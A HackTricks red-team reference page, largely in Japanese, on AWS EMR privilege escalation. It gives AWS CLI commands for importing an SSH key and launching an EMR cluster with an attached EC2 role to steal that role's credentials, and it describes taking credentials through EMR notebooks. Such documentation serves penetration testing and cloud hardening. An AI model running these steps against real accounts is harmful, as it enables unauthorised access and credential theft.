AWS - EMR Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

EMR

EMRに関する情報は次を参照:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

これらの権限を持つ攻撃者は、EC2 roles をアタッチして新しい EMR クラスターを実行し、その資格情報を盗もうとすることができます.
これを行うには、アカウントにインポートされている何らかの ssh priv key を知っているか、あるいはインポートし、また マスターノードでポート 22 を開放できる必要があります(--ec2-attributes 内の属性 EmrManagedMasterSecurityGroup および/または ServiceAccessSecurityGroup でこれを行える場合があります)。

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Note how an EMR role is specified in --service-role and a ec2 role is specified in --ec2-attributes inside InstanceProfile. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.

Potential Impact: Privesc to the EC2 service role specified.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

これらの権限があれば攻撃者はAWS consoleにアクセスしてNotebookを作成し、そこからIAM Roleを奪取できます。

Caution

私のテストでは、notebook インスタンスに IAM role をアタッチしても、IAM role に関連する認証情報ではなく AWS managed credentials を奪取できることを確認しました。

Potential Impact: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

この権限だけで攻撃者はJupyter Notebook にアクセスし、関連付けられた IAM role を奪取できます.
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Caution

私のテストでは、notebook インスタンスに IAM role をアタッチしても、IAM role に関連する認証情報ではなく AWS managed credentials を奪取できることを確認しました。

Potential Impact: Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする